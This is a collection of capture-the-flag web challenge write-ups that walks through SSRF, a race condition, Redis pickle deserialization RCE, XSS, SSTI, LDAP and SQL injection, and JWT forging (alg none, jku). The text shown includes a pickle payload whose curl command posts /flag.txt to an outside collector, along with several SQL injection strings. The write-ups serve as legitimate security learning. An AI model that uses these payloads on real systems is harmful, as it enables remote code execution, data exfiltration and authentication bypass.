Chain Race

Web [475 pts]

Description: All files are included. Source code is the key.

When we first visit the website, we see that there is an input for URLs and that this renders the HTML content below:

After trying several PHP attack methods to try to get a foothold, using localhost:8080 provided the source code for index.php via SSRF.

It seems like we have to craft our input to be localhost:8080/index.php?user=??&secret=??

Bypassing the first if statement, we just need user to be anything other than ‘admin’

Bypassing the second, we need to use secret[]=1 because it will evaluate to null which breaks the condition

Now $login_1 and $login_2 are both 1, we need to bypass @unlink() which deletes a filename, in our case it is generated using a hash combination of date(‘ms’) and $_COOKIE[‘PHPSESSID’]. The session is created and destroyed rather quickly and this can lead to a race condition if many requests are made in synchronized time.

We could solve this by sending requests in a synchronized time to cause the race condition. I tried out nccgroup’s enhancement of python requests called requests_racer.

Using a quick script, we are able to get a flag with ~100 synchronized requests:


Web [300 pts]

Description: cache all the things (this is python3)

This challenge provides us with source code:

We see that their server is using Redis for caching and flask_caching library. Looking at the form, we see that each input is treated as a key (title) and value (content). Looking into the cache functions, I found this source to be helpful for the challenge:

It appears the default key when using cache functions in flask is “flask_cache_view/<path>” , so we can temporarily store malicious values in one of the keys that Redis is using. From the above link, it states that having a b'!' in front of a pickled object will lead to RedisCache unpickling. This can lead to RCE.

So we craft our pickle object with our exploit and append a b'!' in front of it. The description says it is in Python3 so we make sure to serialize our object in Python3.

import pickle
import os

exp = open("exploit", "wb")


class RCE(dict):
    def __reduce__(self):
        cmd = ("curl -X POST -H 'Content-Type: application/json' -d '@/flag.txt'")
        return os.system, (cmd,)



There are multiple ways to get the flag, I just curled the flag in POST data to my hookbin, our input will look like this:

After sending this and visiting /test24, we notice there is a delay, which means our object was deserialized. Looking at our hookbin, we see the flag came through:

Note Surfer

Web [250 pts]

Description: Check out our new sticky note website!

We are given two endpoints for this challenge. I found an unintended solution for this challenge so I will be discussing how happened.. – Where we create an account – Where we can link our account from :50020 via OAuth and create notes / report to admin.

After creating an account on :50020 and linking it with :50039, we are able to create notes and report to admin.

First, the reporting feature is common for XSS and CSRF, so I wanted to see if I could steal some information from the admin. So using this payload:

We were able to send it to the admin and have them visit our site.

I originally wanted to read their HTML just to see what it looked like, but base64 decoding our response twice reveals the admin dashboard + the flag:

Template Shack

Web [150 pts]

Description: Check out the coolest web templates online!

When we first visit the site we are greeted with a normal dashboard and seems to use a template engine. So we know our exploit will involve templates.

One useful information is the JWT, when decoded, gives this:

So we know it is using HS256 and if we want to elevate our privileges, we need our username to be admin. HS256 can be brute forced if it has a weak secret, so trying that with JTR, we receive the signature secret:

Changing the JWT username to “admin” and verifying it with our secret will allow us to access the admin panel.

An interesting find when we visit a 404 page on the side navbar:

Since it is printing us /admin/charts.html, we can try to use this as an injection point for SSTI.

Using the payload {{config}}, we leak information about the application:

Using this payload, we are able to see the current files in the directory:


Now we do see a flag.txt, so we simply change the ‘ls’ to cat the flag:

Lightweight Contact Book

Web [150 pts]

Description: Lookup the contact details of any of our employees!

When we visit the page, we see an employee look-up tool.

Given the name “Lightweight”, this hints that the web app is using LDAP (Lightweight directory access protocol)


Typing an asterisk (*) in the search bar gives us all the users.

So, our goal is to do an LDAP injection to leak information. We cannot sign in as admin without the password, but we do see a “forgot password” feature for the web app. Clicking on it gives this information:

The description field is a built-in LDAP field. More reading here:

After messing around with the search bar and receiving errors, one payload gives us a pass:


This payload will show the admin user and verifies that our payload matches what is stored in the description field.

Using a short python script, we can do a blind LDAP injection to retrieve the password:

Logging in with “administrator” and the extracted password “very_secure_hacktivity_pass”, we get the flag:

Official Business

Web [125pts]

Description: Are you here on official business? Prove it.

When we visit the page, we are greeted with a generic login page. When attempting to log in as admin, we get redirected to a 403 Forbidden error page.

Since we don’t receive much information from this and it is not a SQL injection vuln, we navigate to /robots.txt and find source code.

So we know our backend is Flask and there is a way that we have to log in. We notice that it is quite difficult to bruteforce the password to decrypt to the requested text. So we turn our attention to cookies.

When we enter the home page, the server calls load_cookie(), which gets “auth” and verifies it. We get our “auth” from do_login(), which only includes username, password, and a check if admin is true. So we mimic this in a short Python script:

Finally we create our “auth” cookie while intercepting a GET request to the home page and enter our value, receiving our flag:

Flag Jokes

Web [200pts]

Description: Want to hear a joke? Want the flag? How about both? Why don’t YOU tell me a joke!

We reach a login page and attempt to login as any user, it seems any user is accepted. So logging in as “lmao”, we receive this message:

The interesting piece of information we get is a cookie, most notably a JWT, that when decoded, gives this:

A few interesting information in the headers that are not commonly noted are:

jku (JWK Set URL) and kid (key id).


Now we notice that jku is used in localhost, so if we browse to the challenge/static/jwk.json, we receive their signing algorithm:

If we have this, we can forge our own JWK on our own web server and create our own public/private key as well as modify the payload. So to do that, we start by creating our RSA key pair:

We notice in our given JWK that “e” and “n” are defined, so to extract “e” and “n” from our public key, we use a short python script:

Next we have to convert our “e” and “n” to base64 since that is the format we received from the challenge.

Using this information, we add this to our “e” and “n” in our forged JWK:

Adding all the pieces together, we use our private and public key for generating and verifying our JWT respectively. Then we modify our payload to the requested “admin” as well as use the JKU header to include our own web server URI with the forged payload:

Now replacing the cookie on the challenge with our new JWT token, we receive our flag:


Web [250pts]

Description: A target service is asking for two bits of information that have the same “custom hash”, but can’t be identical. Looks like we’re going to have to generate a collision?

When we navigate to the home page, we are greeted with the source code, detailing the conditions for getting the flag and type of requests to be made:

So we know that our request body has to be JSON and that we will receive 400 errors if there is an invalid body or if we are missing request parameters “one” and “two”. Also there is a customhash not shown to us that is hashing what we send to /getflag.

Using Postman, I tried out a few sample payloads and received it’s hash value as well as rejections:

Since the hash is custom, bruteforcing would take a while. But, looking back at the source code we see that the parameters “one” and “two” are being compared with == instead of ===.

A loose comparison such as this will lead to vulnerabilities where two non-equal inputs will evaluate as true.

Looking at a useful JS comparison table:

We can see that [1] and “1” evaluate as true. When we try this for our request body, we can receive our flag without having to bruteforce anything:

RARO Web Challenges


Web [200pts]

Description: Sadly it looks like there wasn’t much to see in the python source. We suspect we may be able to login to the site using backup credentials, but we’re not sure where they might be. Encase the password you find in ractf{...} to get the flag.

Looking at the page, we don’t find anything interesting and are given a generic login error upon attempt:

Looking at the page source, we find that there is a /backup.txt file somewhere in the web-app that may possibly give us what we need:

We can’t access /backup.txt, but looking at robots.txt, we see a couple directories of interest:

The admin directories were inaccessible, but I found interesting errors when trying to navigate to /static:

It seems that for the route /static, it is expecting a GET request parameter named ‘f’. So trying /static?f=backup.txt, we see the username and password (flag in this challenge) given to us:

RARO – Baiting

Web [200pts]

Description: That user list had a user called loginToGetFlag. Well, what are you waiting for?

The description is correct. Logging in using the above credentials, develop and developerBackupCode4321 gives us a page listing all users:

Trying to login using loginToGetFlag’ UNION SELECT 1,2,3,4 — gives us an SQLite error:

When trying this payload: ‘and true OR username=’loginToGetFlag’ — , we are able to log in:

RARO – Admin Attack

Web [300pts]

Description: Looks like we managed to get a list of users. That admin user looks particularly interesting, but we don’t have their password. Try and attack the login form and see if you can get anything.

Very similar to the solution above, using the payload: ‘and true OR username=’jimmyTehAdmin’ — , we are able to log in as admin:

I also found that the password field is vulnerable to injection as well, so using ‘loginToGetFlag’ as username and ‘ ” union select 1,2,3,4 –” will allow us to login as admin, it will say Welcome 1, indicating that the first column is the column being rendered to us.

RARO – Vandalism

Web [250pts]

Description: That admin panel was awfully bare. There must be some other page, but we’ve no idea where it is. Just to clarify, ractf{;)} is the greedy admins stealing all the flags, it’s not the actual flag.

For this challenge, when I signed in as admin, looking at the headers using burp suite revealed something interesting:

There is an optional header pointing to a route that is not normally redirected for us. So following that route, we are given a page:

It says that the page has been vandalized, looking at this page in burp suite, we see messed up text that is hidden by CSS:

I grabbed all the vandalized text and used an online text cleaner tool to make it more readable. It turns out it was a generic lorem ipsum with our flag in it:

RARO – Insert witty name

Web [200pts]

Description: Having access to the site’s source would be really useful, but we don’t know how we could get it. All we know is that the site runs python.

This challenge, similar to Entrypoint, involves accessing a page that is not shown to us. A tiny bit of intuitive “guess” work will lead us to the fact that python source is typically named, , etc. We can also use dirsearch on the /static?f= route which will also show us our answer.

Trying out /static? gives us our flag:

RARO – Xtremely Memorable Listing

Web [200pts]

Description: We’ve been asked to test a web application, and we suspect there’s a file they used to provide to search engines, but we can’t remember what it used to be called. Can you have a look and see what you can find?

This challenge involves finding a file somewhere on the application. There is no robots.txt and /static?f= does not give us anything. A simple dirsearch will reveal that there is a /sitemap.xml

Visiting this page will point us to download a backup of this sitemap:

Now navigating our page to /_journal.txt, we see our flag:

Quarantine Web Challenges


Web [200pts]

Description: See if you can get access to an account on the webapp.

So starting off on the main page, we see a login page and an inaccessible Admin and Register page. When trying to log in, an “Invalid username / password” message appears.

Trying the generic SQL injection: lmao’ or 1=1 — for the username gives us a message: “Attempting to login as more than one user!??”

So we try testing our UNION SELECT payloads. Trying this payload:

lmao’ UNION SELECT 1,2,3 — allows us to log in, indicating there are three columns here.

Quarantine – Hidden Information

Web [150pts]

Description: We think there’s a file they don’t want people to see hidden somewhere! See if you can find it, it’s gotta be on their webapp somewhere…

This challenge takes place within the same web server as all the other Quarantine based ones. So, looking at robots.txt gives us:

When navigating to /admin-stash, we see our flag.

Quarantine – Finding server information

Web [350pts]

Description: See if you can find the source, we think it’s called

Using the same login credentials as Quarantine (See above), we are able to log in and view the /videos page. Clicking on a video will show an mp4 being rendered on the page.

Our goal is to find the file somewhere within this application. So trying out some random values for /watch/[input] gives a server error. When we try /watch/, we see that it does not give an error and that there is no video showing.

Checking the page source, we receive our flag:

Quarantine – Getting admin

Web [300pts]

In this challenge, after logging in using the above credentials, we are unable to access the /admin page but are given cookies.

It turns our the cookies are HS256 and there is a well-known vulnerability for JWTs. We can simply turn out cookie algorithm from “HS256” to “None” and upgrade the privilege from 1 to anything higher, granting us access to /admin.

Doing so and pasting our new cookie, we are able to go to /admin and get our flag:

I did find an (unintended) solution for this as well, using the login credentials as: admin’ union select 1,2,3,4 — , I was able to log in as well as navigate to the /admin page. When checking the cookie, it seems that the privilege was 4, indicating that I manipulated that column through injection.